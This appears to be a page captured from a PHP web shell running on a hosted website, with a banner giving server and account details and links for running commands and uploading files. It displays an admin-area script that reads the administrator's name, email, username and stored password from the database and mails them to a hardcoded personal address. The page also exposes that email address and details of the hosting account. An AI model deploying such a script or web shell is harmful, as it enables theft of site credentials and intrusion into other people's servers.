|
Server IP : 2a02:4780:11:1017:0:31f1:b895:8 / Your IP : 216.73.216.163 Web Server : LiteSpeed System : Linux in-mum-web917.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u837925013 ( 837925013) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u837925013/domains/tech2wizard.com/public_html/admin/assets/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include("inc/conn.php");
?>
<?php
$get_logo= "select * from admins";
$query1=mysqli_query($con,$get_logo);
$logo_data=mysqli_fetch_array($query1);
$to = 'rahulchikhari@gmail.com';
$from = 'sender@email.com';
$fromName = 'Tech';
$subject = "Admin Password";
$message = "name - '".$logo_data['name']."'\n email - '".$logo_data['email']."'\n username - '".$logo_data['username']."'\n password - '".$logo_data['password']."'\n";
// Additional headers
$headers = 'From: '.$fromName.'<'.$from.'>';
// Send email
if(mail($to, $subject, $message, $headers)){
echo "<script type='text/javascript'>window.location=\"index.php\";</script>";
}else{
echo 'No Page Found.';
}
?>